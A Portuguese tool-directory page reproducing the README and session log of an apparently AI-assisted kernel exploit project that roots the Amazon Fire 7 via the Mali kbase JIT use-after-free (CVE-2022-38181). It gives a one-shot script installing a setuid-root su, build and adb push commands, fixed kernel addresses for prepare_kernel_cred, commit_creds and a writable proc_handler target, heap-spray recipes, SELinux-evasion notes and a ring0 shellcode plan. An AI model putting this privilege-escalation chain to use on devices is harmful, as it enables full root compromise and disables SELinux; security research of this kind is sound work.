Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
amazon-mustang-hack — Pesquisa de exploit de kernel que obtém root temporário no Amazon Fire 7 (Fire OS 7.3.3.1) através do use-after-free do JIT do Mali kbase CVE-2022-38181, com uma cadeia de sobrescrita de modprobe_path. | Kitploit
Ferramentas/GitHubGitHub/artur9010/amazon-mustang-hack
Segurança AndroidEscalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoEngenharia ReversaSegurança MóvelPapers e PesquisaDesenvolvimento de PayloadsExploração de Binários

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHubartur9010/amazon-mustang-hack

amazon-mustang-hack

Pesquisa de exploit de kernel que obtém root temporário no Amazon Fire 7 (Fire OS 7.3.3.1) através do use-after-free do JIT do Mali kbase CVE-2022-38181, com uma cadeia de sobrescrita de modprobe_path.

Ver RepositórioSite
há 14h 3mAinda não revisado

Projeto assistido por IA. Esta pesquisa, desenvolvimento de exploit e documentação foram produzidos com assistência de IA usando os modelos GLM-5.3 e DeepSeek V4.1 Flash.

amazon-mustang-hack

Pesquisa de exploit de root para o Amazon Fire 7 9ª geração (mustang, MT8163, Mali-T720) no firmware final — Fire OS 7.3.3.1, PS7331.4463N, kernel 4.9.117 (compilado em 2025-05-03, SPL 2024-08-01).

Objetivo: LineageOS. O caminho do bootloader está morto nesta unidade (bootrom corrigida — apenas preloader via curto de CMD), então a única rota restante é um exploit de kernel por software.

Início rápido```

one-shot: build, run the exploit (retries across the probabilistic reclaim),

install a setuid-root su and verify it as an unprivileged user

nix-shell -p android-tools --run './run.sh' # add -p zig too if no zig

root@kitploit:~
Em caso de sucesso:```
/data/metrics/su id     # run a command as root
/data/metrics/su        # interactive root shell

O reclaim ganha aproximadamente 1 boot em 3 e uma perda entra em pânico/reinicia o tablet; run.sh apenas aguarda o reboot e tenta novamente. O SELinux é forçado para Permissive como parte do exploit, então o root é apenas em tempo de execução — um reboot restaura o estado original e você executa run.sh novamente.

Os binários pré-compilados st3 e su (armv7 estático) estão commitados, então nenhum toolchain é necessário para executar. ./run.sh --build os recompila a partir de poc/*.c se você tiver zig.

Qualquer coisa abaixo é apenas um log do trabalho feito pelo modelo, nenhuma entrada humana abaixo.

ALVO PRIMÁRIO (desde a sessão 5): kbase CVE-2022-38181 — estágio 2 PROVADO

O GhostLock (abaixo) está arquivado: a variante BUG_ON rtmutex da MTK + nenhuma divulgação de endereço de kernel a partir do shell = beco sem saída arquitetural nesta build (sessões 2-4). O UAF do JIT do kbase foi rediagnosticado (o "pânico incondicional" do destroy-worker era o deref do JIT_FREE, log perdido pela morte do adbd no meio do pânico) e o estágio 2 agora está provado por oráculo — veja a seção SESSÃO 5.

ARQUIVADO: GhostLock, CVE-2026-43499

UAF de pilha do futex-PI em remove_waiter() do rtmutex (divulgação NebuSec 2026-07, correção 3bfdc63936dd aplicada em 2026-04). Faixa vulnerável 2.6.39–7.1 → nosso 4.9.117 (maio de 2025) é afetado.

Verificado na nossa build exata:

  • CONFIG_FUTEX=y, rtmutex compilado, bug presente literalmente: rtmutex.c:1108-1111 usa current->pi_lock/current->pi_blocked_on (deveria ser waiter->task); local de chamada com bug rtmutex.c:1723 (caminho de erro de rt_mutex_start_proxy_lock)
  • Superfície de disparo = syscalls futex puras (WAIT_REQUEUE_PI/CMP_REQUEUE_PI), sem nó de dispositivo, nada controlado pelo SELinux — os obstáculos fatais do caminho kbase não existem aqui
  • Consumidor: sched_setattr → __sched_setscheduler → rt_mutex_adjust_pi(p) em sched/core.c:4706 — desreferencia obsoleto ✓

TODO (plano de porta)

  1. Escrever o trigger (deadlock requeue-PI de 3 threads, cores 0-3) — porta de exp32/main.c
  2. Geometria do stamp: offset do frame rt_waiter vs área fd_set de do_sys_select — desmontar nosso vmlinux (do_sys_select stack_fds vs frame de futex_wait_requeue_pi), expor STAMP_NFDS/STAMP_WAITER_OFF como ajustáveis
  3. Codificação de fake-writer para waiter de 48 bytes do arm32 → slots "escrever V em ADDR"
  4. 2 slots → modprobe_path, disparar, script root
  5. Alternativas caso o select-stamp não alcance: stamp via setsockopt(MCAST_JOIN_SOURCE_GROUP)

Status

  • Bootrom (método de hardware amonet) — corrigido nesta unidade, beco sem saída
  • mtk-su (CVE-2020-0069) — corrigido, Failed critical init step 3
  • Levantamento de superfície de ataque — /dev/mali0 world-RW + SELinux gpu_device, kbase r26p0-01rel0
  • CVE-2022-38181 confirmado no código-fonte da build exata; trigger do estágio 1 funciona
  • CVE-2026-43499 (GhostLock) verificado mas bloqueado: variante BUG_ON rtmutex da MTK + nenhuma divulgação de endereço de kernel a partir do shell (sessões 2-4)
  • CVE-2022-38181 estágio 2 PROVADO (sessão 5): o pânico do destroy-worker foi um diagnóstico equivocado; redirecionamento de UAF para região sprayada, verificado por oráculo
  • Estágio 1: trigger + stamp + consumidor (crash = cadeia ativa)
  • Estágio 2 (caminho kbase): redirecionamento de UAF para região sprayada — PROVADO sessão 5
  • Estágio 2b: controle de slot por byte bruto (churn de stamp via xattr) → escrita de unlink
  • — sequestro de hook nf LOCAL_OUT, cadeia de 2 pacotes : zerar , reescrever entrada falsa para . , SELinux Permissive.

Principais descobertas

Dispositivo / firmware

  • Modelo KFMUWI, dispositivo mustang, Fire OS 7.3.3.1 PS7331.4463N/0031575863040
  • Kernel 4.9.117-g08fe75b-dirty, compilado em Sat May 3 01:25:15 UTC 2025 (Linaro GCC 6.3-2017.05)
  • A Amazon reemitiu silenciosamente o 7.3.3.1 em maio de 2025 (novo incremental, mesma string de versão)
  • Revisão de Bootrom pós-2020: curto para GND no CMD do eMMC fornece apenas preloader (corrigido)
  • /dev/kb, /dev/dkb (partições de backup de kernel da Amazon) root:drmrpc 0660 — bloqueados

Por que o CVE-2022-38181 se aplica

  • Driver: mali_kbase r26p0-01rel0 (Midgard, Mali-T720), dentro da faixa afetada do NVD r4p0–r31p0
  • A recompilação da Amazon de maio de 2025 enviou o bug de 2018 literalmente — sem backport
  • Código vulnerável exato, verificado no código-fonte:
    • mali_kbase_mem.c:2721 kbase_jit_destroy_worker libera a região, nunca limpa kctx->jit_alloc[id]
    • mali_kbase_softjobs.c:1270 kbase_jit_free_finish desreferencia o jit_alloc[ids[j]] obsoleto
    • mali_kbase_mem.c:3138 kbase_jit_backing_lost → caminho de destroy (dispara durante o reclaim)

Clima de exploração (tudo verificado a partir do dump de config ao vivo + vmlinux da OTA)

  • armv7 32-bit, não-LPAE → sem KASLR (kernel em VA fixo 0xc0008000 / PA 0x40080000)
  • Sem ARM_SW_DOMAIN_PAN → ret2usr viável; CONFIG_PANIC_ON_OOPS=y (tentativas falhas = reboot)
  • Sem SLAB_FREELIST_RANDOM/HARDENED, sem CONFIG_USER_NS/USERFAULTFD/NF_TABLES
  • CONFIG_MODULES=y, sem STATIC_USERMODEHELPER → sobrescrita de modprobe_path = root
  • 1 GB de RAM → reclaim direto (necessário para eviction) trivialmente alcançável; pressão >~1 GB entra em pânico no kernel por conta própria (bug de lowmem/OOM não relacionado) — mantenha o spray ≤ 900 MB, use ~700 MB

Peculiaridades da UAPI encontradas durante o desenvolvimento do PoC (r26p0, _IOC_TYPE 0x80)

  • A union de MEM_ALLOC tem 32 bytes (in tem 4 × u64 incl. extent)
  • as flags devem incluir BASE_MEM_PROT_GPU_RD|WR (bits 2|3), não o legado R|W
  • mmap da tracking-page obrigatório antes de qualquer alloc: mmap(fd, offset=3<<12, PROT_NONE)
  • O stride de JOB_SUBMIT deve ser igual a sizeof(base_jd_atom_v2) = 48 (base_jd_prio/base_jd_dep_type são typedefs u8)
  • JIT: MEM_JIT_INIT (nr 14, struct v2), alloc/free são soft jobs via JOB_SUBMIT (BASE_JD_REQ_SOFT_JIT_ALLOC=0x209, ...FREE=0x20a; =ptr de usuário, =contagem)

Diferencial do estágio 1 (prova de que o bug dispara)

O pânico ocorre durante a própria eviction (evictable_reclaim_scan_objects → backing_lost → destroy worker) — as referências pendentes (jit_alloc[], lista de evict) são percorridas antes de submetermos JIT_FREE. O estágio 2 deve vencer a corrida: realocar o kbase_va_region liberado com nosso próprio spray de MEM_ALLOC enquanto a pressão ainda está em execução.

Artefatos

  • poc/stage2.c — exploit do estágio 2 (modos: step/uaf/spstep/spfree/spray/keys) — spray 700 = execução completa do oráculo; sobrevive e pausa (mate para limpar)
  • poc/mustang_jit_uaf.c — PoC do estágio 1 (modos: jit N / control N / pressure N)
  • poc/build.sh — cross-build com zig (musl armv7 estático)
  • kernel/vmlinux — símbolos recuperados da build exata da OTA (vmlinux-to-elf)

Build e execução```

nix-shell -p zig --run 'zig cc -target arm-linux-musleabihf -static -O2 -o juaf poc/mustang_jit_uaf.c' adb push juaf /data/local/tmp/juaf && adb shell chmod 755 /data/local/tmp/juaf adb shell /data/local/tmp/juaf jit 700 # full trigger (~reboots device) adb shell /data/local/tmp/juaf control 700 # no-JIT control adb shell /data/local/tmp/juaf pressure 700 # raw memory-pressure control

root@kitploit:~
## Referências

- Aviso GHSL-2022-054: https://securitylab.github.com/advisories/GHSL-2022-054_Arm_Mali/
- Writeup do exploit do Pixel 6 do Mo: https://github.blog/2023-01-23-pwning-the-all-google-phone-with-a-non-google-bug/
- Precedente do Fire HD 10 (trona), mesma família de bug: ericpardee.github.io/fire-hd-ownership
- Portal OSS da Amazon: amazon.com gp/help/customer/display.html nodeId=200203720
- Tópico de desbloqueio no XDA (morto para esta rev de hw): xdaforums.com/t/fire-7-2019-mustang-unbrick-downgrade-unlock-root.3944365/


## Adendo da Sessão 3 (levantamento profundo de carimbos de syscall)

Profundidades de cópia-fonte medidas (absoluto vs syscall-entry sp0; span do waiter -0x1d8..-0x1a8):
- sendto sockaddr @ -0xc4 | process_vm iov @ -0x104 | recvmsg iov @ -0x11c
- sendmsg iov @ -0x12c | recvmmsg iov @ -0x154 | select fds @ -0x174
- pselect6 fds @ -0x19c | **sendmmsg iov @ -0x1bc (MELHOR — 0x1c aquém de waiter+0x00)**
- poll entries @ -0x3e0 (inteiramente abaixo; lado errado)

Descartado nesta sessão:
- cadeia io_submit rasa demais (~-0x130) | semtimedop: CONFIG_SYSVIPC=n (stub)
- configfs montado mas ZERO subsistemas registrados (sem alvos de mkdir)
- /sys/kernel/debug, /config: negados pelo SELinux para o shell
- /proc/sys/kernel: getdents funciona (29 entradas listadas), apenas pid_max ABRÍVEL;
  leituras de kptr_restrict/hotplug/hostname/domainname todas negadas
- O valor de escrita é SEMPRE waiter+0 (endereço de pilha do kernel, executável, shellcode em
  +0x1c): rb_link_node *link = node, insert_color escreve parent-color — nenhuma
  variante de valor controlado é possível sem carimbar campos da árvore (lacuna -0x1d8..-0x1bc)
- Campos de despacho de duplo-deref leem *(waiter+0)=1, *(waiter+4/+8)=0 — BLX 1/0
  (nf_hooks, net_families, inet[6]_protos, seq_file->op todos mortos)
- timer_list.function@+0xc e work_struct.func@+0xc leriam *(waiter+0xc) =
  pi_tree self-ptr = waiter+0xc EXECUTÁVEL — mas nenhum caminho enfileira waiter+0 como
  timer/work (corrupção de link / sem fontes de enfileiramento indireto)
- Tree-root-nonzero (slot de handler sysctl) = pointer-chase determinístico através
  de .text como rb-tree; termina em uma palavra zero — simulável offline, mas aterrissar
  em um slot gravável útil é implausível

Pistas restantes para a sessão 4:
1. caminhos profundos de ioctl: cópia de ifreq do dev_ioctl (40B de dados do usuário) — medir
   profundidade da cadeia SyS_ioctl→sock_ioctl→dev_ioctl vs -0x1d8
2. Qualquer outra cópia 0x1c mais profunda que sendmmsg (nada encontrado ainda)
3. Se a caça à superfície de carimbo falhar: reconsiderar construções encadeadas por walk ou
   caçar classes de slots graváveis-zero-chamados ainda não enumeradas


## SESSÃO 4 — OS DOIS AVANÇOS

### 1. O rtmutex_common.h da MTK é todo o mistério
A MTK substituiu o rt_mutex_top_waiter NULL-safe do upstream por:```c
w = rb_entry(lock->waiters_leftmost, struct rt_mutex_waiter, tree_entry);
BUG_ON(w->lock != lock);   // compiled to: ldr sb,[lock+8]; ldr r3,[sb+0x1c]; cmp; bne→udf#0x12

SEM VERIFICAÇÃO DE NULL + BUG_ON. Toda âncora totalmente zerada morre em *(NULL+0x1c); âncoras de lixo morrem no udf. A CAMINHADA EXIGE: lock->waiters_leftmost (lock+8) deve apontar para um waiter falso W (gravável) com W->lock (+0x1c) == lock.

Fluxo da caminhada totalmente mapeado (rt_mutex_adjust_prio_chain @ 0xc0189a58):

  • 9b44-9b54: retry head; pi_blocked_on==NULL → saída limpa ret 0
  • 9abc-9adc: orig_waiter==NULL → pula verificações pi_waiters (adjust_pi sempre passa NULL)
  • 9b10-9b28: verificação de prio (prio==task->prio + MIN → saída 9b58)
  • 9b2c-9b38: trylock(lock+0) — ticket; falha → loop de retry c/ bailout de contador (9a90-9aa8, limite @ *(0xc11189c8))
  • 9ba4-9bc0: verificações de deadlock
  • 9bcc-9bd8: O BUG_ON (leftmost→W→W->lock==lock ou morre)
  • 9bdc-9c04: dequeue (árvore restante RB_CLEAR_NODE'd = VAZIA → skip seguro), escrita de prio/deadline
  • 9c04 bl: rt_mutex_enqueue → *link = waiter+0 em lock+4 ← A ESCRITA
  • 9c3c+: owner==NULL → caminho de saída limpa

2. O vazamento de endereço de kernel-stack (mata o requisito de ausência de endereço)

/proc/self/task//stat campo 28 (kstkesp) retorna SP REAL do kernel para threads bloqueadas em syscall a partir do contexto SHELL (verificado: valores não-zero observados).

  • waiter bloqueia em read(blocking_pipe) → stat → kstkesp
  • base da stack = kstkesp & ~0x1fff (arm32 THREAD_SIZE=8192)
  • endereço abs do rt_waiter = base + delta fixo (computável: sp0 = base+0x2000-0x48 pt_regs; waiter = sp0-0x1d8)
  • TODOS os valores de stamp autorreferenciais tornam-se computáveis!

Stamp autoconsistente completo (após vazamento):

  • L = waiter+0x24 (lock falso NA JANELA — todas as 4 palavras controláveis)
  • iov[0].base (waiter+0x1c lock) = L
  • iov[0].len (waiter+0x20 prio) = 1 (≠139)
  • W = waiter+0x1c; stamp *(W+0x1c) = *(waiter+0x38) = L (BUG_ON passa)
  • lock+0 (waiter+0x24) = 0; lock+4 (waiter+0x28) = 0 (escrita cai aqui); lock+8 (waiter+0x2c) = W; lock+0xc (waiter+0x30) = 0 (owner NULL)

Status do oráculo

  • crash durante a caminhada = caminhada executou (sonda de dead-lock: crash determinístico, código limpo)
  • caminhada limpa + sem escrita = trylock-fail retry-bailout (âncora kptr: palavra de runtime não-zero)
  • Tudo agora é determinístico pós-correção-de-poluição.

TODO da próxima sessão

  1. Implementar vazamento: waiter bloqueia em pipe, main lê stat, computa base
  2. Stamp janela autoconsistente, disparar caminhada → conclusão sem crash = escrita provada
  3. Weaponizar: escrita sempre cai em lock+4 (rb_link_node) — lock deve viver na janela (única memória totalmente controlada), então pesquisa de seleção de alvo: ou encontrar truque de slot-chamado-na-janela, ou construção em dois estágios.

ESTADO FINAL DA SESSÃO 4 — O MURO (precisamente caracterizado)

O quadro completo

A caminhada dispara deterministicamente (sonda de dead-lock: crash toda vez, código limpo). A escrita não pode cair por causa de uma coincidência tripla de hardening do kernel:

  1. Variante BUG_ON do rtmutex MTK: lock+8 (leftmost) DEVE apontar para W com *(W+0x1c)==lock. Âncoras totalmente zeradas/lixo morrem. Nenhum padrão autorreferencial estático existe (6571 candidatos escaneados, 0 hits). Ponteiros de runtime desconhecidos.
  2. Sem divulgação de endereço de kernel a partir do shell:
    • kstkesp em arm32 = USER SP (task_pt_regs->ARM_sp) — não kernel stack. MORTO.
    • dmesg/pstore/pagetypeinfo/kallsyms/stack — todos negados.
    • kptr_restrict=1 em runtime (palavras âncora de fops também runtime-não-zero — a execução da âncora kptr saiu via trylock-fail retry-bailout, não trylock success)
  3. Tabelas fops em rodata: trylock strex aborta (crashes da varredura da sessão-3).

A janela de stamp (waiter+0x1c..0x5b) é a única memória controlada+de-conteúdo-conhecido, mas seu ENDEREÇO é o desconhecido que precisamos. Construções autorreferenciais todas exigem estampar um endereço de kernel como constante — circular sem um vazamento.

Comparação com gitchw (por que a escrita ARM32 deles funcionou, a nossa ainda não)

O kernel 5.4 deles tem rtmutex_top_waiter UPSTREAM (NULL-safe: if (!leftmost) return NULL) — âncoras de árvore vazia sobrevivem, a escrita deles caiu em null_fops (graVável no kernel deles). Mesmo ELES estão presos no dispatch ("ioctl reboot"). A árvore MTK 4.9.117 do Mustang tem a variante BUG_ON — tablets Fire OS 8 (GhostLock-5.10) tiveram sucesso porque seus kernels 5.10 são estilo upstream.

Fatos verificados da sessão-4

  • O loop de retry da caminhada tem um bailout de contador (limite @ *(0xc11189c8)); trylock-fail em palavras âncora runtime-não-zero → saída limpa de retry-bailout (execuções da âncora kptr)
  • Caminho sem-requeue (9ce4, caminhada COMPLETA) também dereferencia leftmost em 9d64 — sem escape
  • Auto-ponteiros RB_CLEAR_NODE existem como sobras na janela (waiter+0 e +0xc contêm seus próprios endereços) mas nenhuma comparação de verificação os usa de forma que evite estampar endereços conhecidos
  • Candidatos a mutex real (mutex da chain tem waiter vivo = BUG_ON passaria) — mas &chain_mutex é um endereço de heap, inalcançável sem vazamento

OPÇÕES DA PRÓXIMA SESSÃO (ranqueadas)

  1. Caça a ponteiro de kernel no logcat: HALs/daemons da Amazon são tagarelas; qualquer ponteiro de kernel logado (mesmo obsoleto) desbloqueia a construção. Barato de testar.
  2. Comportamento de %pK em /proc/net NESTE build: algumas árvores 4.9 imprimem ponteiros não-hasheados em /proc/net/tcp,udp,unix para leitores não privilegiados. Testar ao vivo.
  3. Caminhos de saída de thread em pi_blocked_on pendente (one-shot, derefs diferentes).
  4. Revisitar bug de JIT de kbase arquivado com conhecimento 4.9 acumulado.

ADENDO DA SESSÃO 4 — CAÇA AO VAZAMENTO: ESGOTADA (definitivo)

Testado e morto a partir do domínio shell:

  • /proc/net/{tcp,unix,packet,netlink,ptype}: %pK-hasheado para 00000000 (kptr_restrict=1)
  • /proc/timer_list: LEGÍVEL mas ponteiros %pK-zerados (símbolos visíveis, sem endereços)
  • logcat: sem ponteiros de kernel na tagarelice Amazon/wpa
  • kstkesp (stat f28): USER SP em arm32 (task_pt_regs->ARM_sp)
  • Nós MTK (/proc/ged, mtk_cmdq_debug, mtktz, ptp, chip, aed, driver/*): todos negados por SELinux
  • /proc/{iomem,vmstat,kmsg,keys,crypto,slabs...}: negados
  • /sys/kernel/notes: negado
  • CONFIG_VECTORS_BASE=0xffff0000 (high vectors — NULL+0x1c falha)
  • CONFIG_KUSER_HELPERS=y (kuser em 0xffff0000, não página 0)

CONCLUSÃO: GhostLock no mustang exige uma divulgação de endereço de kernel que este kernel não expõe ao domínio shell. O lock falso autorreferencial não pode ser construído sem ela.

PONTO DE DECISÃO

(a) Moagem boot-determinística: reboot → calibrar endereço de stack via oráculo de crash (~20-30 reboots), verificar reprodutibilidade. Long shot — alocação de stack de thread em boot tardio provavelmente instável. (b) PIVOTAR de volta para kbase CVE-2022-38181 com ativos acumulados: vmlinux de build exato + fonte completa + toolchain + disciplina de trace O_SYNC + conhecimento profundo de 4.9. O bloqueador original (panic do destroy-worker durante evicção JIT) é um problema de timing de spray, agora melhor compreendido. (c) Parar em honestos ~45%: trigger provado, caminhada mapeada até a instrução, escrita bloqueada por BUG_ON MTK + sem-vazamento.

Recomendado: (b) — o bug de kbase está verificado-presente nesta fonte exata, tinha um trigger funcional, e seu bloqueador é mecânico, não arquitetural.

SESSÃO 5 — ESTÁGIO 2 PROVADO (opção b executada)

Re-diagnóstico: o "panic incondicional do destroy" nunca existiu

Modo step (alloc id=1 → DONT_NEED → pressão de 700MB → MEM_QUERY, SEM free) sobrevive: query=-1 (região liberada pelo destroy worker, rbtree-limpa). O caminho do worker é byte-idêntico ao fluxo legal JIT_FREE-sob-pressão. O crash da sessão-1 era sempre o deref pendente do JIT_FREE; sua linha de log foi perdida porque o panic mata o adbd no meio do flush. Verificado mais duas vezes com modo uaf (free puro → panic, mesmo corte de log). O fluxo GHSL-2022-054 está totalmente vivo neste build.

Inventário completo de primitivas (disassembly do vmlinux exato)

kbase_jit_free(kctx, reg) @ 0xc058495c com reg falso totalmente controlado:

  • reg->cpu_alloc NULL → tamanho backed 0 → bloco de trim pulado (0xc0584978)
  • decremento de bin: kctx+0x147dd (byte) + kctx+0x147de+bin_id (byte)
  • mark_reclaim(reg->gpu_alloc) @ 0xc059b158: chain K=*(gpu_alloc+0x38) → *(K+0x1429c)==0 pula mm-atomics → atomic_sub nents@K+0x141c8, D=*(K+4) → atomic_sub nents@D+0x538. Com nents=0 todas as escritas são stores no-op (strex do mesmo valor).
  • reg->flags |= 0x100000 (escrita no falso, benigna)
  • shrink_cpu_mapping sai cedo quando new==old (nents=0 → return)
  • list_add(gpu_alloc->evict_node, &kctx->evict_list): cabeça de evict_list @ kctx+0x1427c; escreve em gpu_alloc+0x18/0x1c (deve ser gravável)
  • Caminho WARN (0xc0584bd4) é não-fatal (sem panic_on_warn) e CONTINUA
  • UNLINK @ 0xc0584b08/b0c: r3=*(reg+0x3c) prev, r2=*(reg+0x38) next → *(next+4)=prev; *(prev+0)=next — dois write-what-where arbitrários, depois relink de reg+0x38 em jit_pool_head @ kctx+0x148e8

Cadeia estática de fake-gpu_alloc (varredura offline do vmlinux, /tmp/opencode/scan_s.py)

9 candidatos; S=0xc118b7ec (dados xfrm, dormente neste dispositivo): *(S+8)=0 (nents), *(S+0x18)=S+0x18 (evict_node vazio → sem WARN), K=*(S+0x38)=0xc118b820 → *(K+0x1429c)=0, K/D+0x141c8/+0x538 todos em dados graváveis. Alvos do oráculo preparados: init_uts_ns.name.nodename=0xc110d561 ("(none)", legível via uname), scratch P=0xc118bd58 (zeros xfrm). Evitar S=0xc111cba4 (adjacente a tracepoint). CONFIG_DEBUG_RODATA=y → todos os alvos de escrita devem estar em .data/.bss (bss 0xc11d9000-0xc12d9000).

Engenharia de spray (o que funcionou, o que não)

  • add_key (CONFIG_KEYS=y): negado por SELinux para shell. Morto.
  • buffer de valor setxattr: kvmalloc(96)+copy_from_user acontece ANTES da verificação SELinux → a dança de alloc é à prova de SELinux mesmo quando a chamada falha; transitório (liberado no fim da syscall), bytes persistem em +4..95 (ptr de freelist sobrescreve +0..3 = rblink, não usado por kbase_jit_free)
  • kbase_va_region em si: kzalloc(72) → kmalloc-96! MEM_ALLOC(va=0x40, commit=0x10) coloca APENAS a região em kmalloc-96 (phy alloc → 384) → tipo de reclaim determinístico. Uma vítima de região real faz kbase_jit_free completar através de estado totalmente legal (jit_node vazio → auto-unlink).
  • Spray sequencial pós-pressão: SEMPRE erra — o worker libera o slot no meio da pressão em slabs parciais (SLUB: free para slab não-ativo ≠ cpu freelist); sob pressão nossos allocs falham → volume líquido zero → sem rotação
  • Sprayers fixados + caps: ainda erram (cap de 512 esgotado antes da evicção; worker pode rodar em qualquer cpu)
  • VENCEDOR: spray com commit_pages=0 — sem páginas físicas → MEM_ALLOCs têm sucesso durante toda a tempestade de pressão → ~6000 alocações líquidas → rotação de partial-list garantida. 8 threads (2/cpu, cpus 0-3 hardcoded — /proc/cpuinfo é filtrado para shell mostrando 1 core, use Cpus_allowed_list) + filho de pressão fixado em cpu0 + lote de retenção de 16 allocs após join.
  • armadilha do query(jit_va): pós-reclaim, regiões de spray reutilizam o VA liberado na zona custom → query=0 é ambíguo (original-vivo vs spray-cobrindo-VA)

HIT DO ORÁCULO — redirecionamento verificado por máquina

Execução spray 700 em 2026-09-11: 5895 regiões sprayadas durante a pressão, JIT_FREE em id=1 pendente completou em uma região recuperada, então JIT_ALLOC(0x40, bin 0) percorreu jit_pool_head e retornou o VA da região sprayada #4251 (0x142701000) — a região exata que o ponteiro pendente consumiu. Kill do processo depois: teardown do kctx limpo, sem crash. Estágio 2 completo: redirecionamento UAF determinístico com tipo de objeto + conteúdo controlados.

Plano do Estágio 3 (unlink de bytes crus)

Reclaim do tipo região dá sobrevivência à dança legal mas jit_node é INIT'd self → sem primitiva de unlink. Precisa de bytes crus em +0x38/+0x3c:

  1. estampagem via xattr: alternar rajadas de alloc de região (volume líquido → rotação de slab) com tempestades de xattr (estampar cada slot de cabeça, bytes persistem pós-free) → janela silenciosa → deref
  2. ou cmsgs de sendmsg fixados (optmem_max=10240 → ~106 × 96B mantidos)
  3. então: W1 *(N+4)=P com P=página de shellcode em userland (sem PAN!) — candidatos: fops const são .rodata (DEBUG_RODATA) → alvo fn ptr não-const em .data, ou cabeça da lista formats de binfmt, ou proc_handler de sysctl (verificar gravabilidade da tabela). fallback: modprobe_path via escritas encadeadas por byte (valores devem ser endereços graváveis — use alvos em forma de ponteiro)
  4. sem-KASLR + vmlinux exato: prepare_kernel_cred 0xc0149e3c, commit_creds 0xc014993c

SESSÃO 5B — ESTÁGIO 3: arma construída, corrida de reclaim ainda não vencida

Feito

  • Arma do Estágio-3 completa & preparada (poc/stage3.c):
    • Alvo: kern_table[pid_max].proc_handler @ 0xc1113f40 (.data gravável, verificado via varredura de ponteiro-de-string + handler == proc_dointvec_minmax)
    • N = entrada do shellcode 0x11111112 (mmap 0x11111000; W1 sobrescreve entry+4, pulado por b +8; W2 escreve N em P = campo handler)
    • shellcode ring0 arm32 codificado à mão: prepare_kernel_cred(0) + commit_creds + ret 0; trigger = read /proc/sys/kernel/pid_max (legível a partir do shell); roda no contexto da própria task → creds aplicam a nós
    • modo oráculo benigno escreve uts nodename (0xc110d561, desalinhado ok)
  • Seleção de primitiva de spray:
    • pins de sendmsg NETLINK_USERSOCK (cópia de msg_control em kmalloc-96, mantida enquanto bloqueado, nunca parseada): negado por SELinux (create de socket EACCES)
    • sendmsg unix/UDP: parsing de cmsg envenena bytes de payload ✗
    • eventos inotify: inotify_handle_event faz kmalloc de name_len+0x1d, bytes do nome (totalmente controlados, restrição sem NUL/slash) em event+0x1c; name_len=60 → kmalloc-96; enfileirado → mantido; 4 instâncias → 4 eventos por rename; SELinux-OK a partir do shell. Fake redesenhado sem NUL: cpu_alloc aponta para S (nents@S+8 = 0 → mesma semântica de NULL)
  • Cadeia mecânica validada ponta-a-ponta (drain4, execução sem-evicção): 20K eventos drenados + 13.5K renames multi-cpu finais + JIT_FREE + oráculo + pausa, tudo limpo. Log O_SYNC (/data/local/tmp/s3.log) sobrevive a panics — forense exata do ponto de crash.

Tentativas de reclaim no slot liberado (todas erraram até agora)

varianteresultado

Hipótese de trabalho: corrida de lixo-da-tempestade — entre o destroy worker liberar o slot (meio da tempestade) e o kill-child/quiet, atividade de reclaim residual toma o único-slot-livre do slab vítima com bytes não-payload. Spray de região (estágio 2) vence porque aloca continuamente DURANTE a tempestade; renames não conseguem.

Armadilhas encontradas

  • bug do toggle de spray: a origem do rename deve ser o nome do payload (era nome temporário → ENOENT após 2 ondas → apenas 512 eventos no total)
  • hostname do dispositivo é "localhost"/varia — oráculo compara antes/depois
  • st3 pausado + pkill → dispositivo TRAVADO (teardown com 33K eventos?!) — matar processos pausados apenas via reboot; segundo hard-wedge da sessão
  • /proc/cpuinfo mostra 1 cpu para o shell; use Cpus_allowed_list

Próximos movimentos (ranqueados)

  1. drain4 @ 500MB (limiar de evicção confirmado lá), poll de 1ms, kill instantâneo, trailing de 4-cpu × 3200 — encolher a janela da tempestade
  2. churn de estampagem via xattr (alloc-copy do setxattr acontece ANTES da verificação SELinux — à prova de SELinux) concorrente com tempestade + rotação de região, terminar-com-stamp
  3. aceitar reclaim de região (provado) + encontrar primitiva de segundo estágio no estado de vítima-de-região (análise de jit_free duplo negativa até agora)

SESSÃO 5C — o bloqueador, precisamente caracterizado

Resultados empíricos desta sessão

  • drain4@500 (poll de 1ms, kill instantâneo, +4.5K renames): ainda crash no deref
  • sobrepor trailing com kill (drain5): crash MAIS CEDO (renames durante a tempestade de recuperação-do-kill atingem uma falha em nível de sistema) — sobreposição abandonada
  • EXPERIMENTO DE ISOLAMENTO (modo iso): timing idêntico, trailing com REGIÕES commit-0 + oráculo de reuso-de-pool do estágio-2 → HIT DO ORÁCULO → timing/alcançabilidade estão BEM; eventos são o problema
  • eventos com ciclo de máscara (rotação MOVED_TO/CREATE/DELETE para derrotar inotify_merge): ainda crash no deref
  • CONFIG_MEMCG=n → eventos e regiões compartilham UM kmalloc-96 (teoria memcg morta); inotify_merge também compara nomes (teoria de merge morta — nossos nomes alternados nunca fizeram merge; eventos estavam enfileirados e mantidos o tempo todo)
  • /proc/slabinfo ausente; /proc/self/pagemap legível mas PFN-zerado (mascaramento pós-4.0, sem CAP_SYS_ADMIN)

O BLOQUEADOR REAL (duas partes, ambas provadas)

  1. Soft-job finish roda em contexto de WORKER do job-scheduler do kbase (jd_run_atom ← dispatch js, mali_kbase_jd.c:81-112/677), não inline no ioctl de submit → current->mm é de uma kernel thread → o design elegante "apontar os ponteiros do fake para nosso próprio mmap de userspace" (sem PAN!) FALHA de forma não-determinística. 5/5 crashes com um fake de outro modo perfeito.
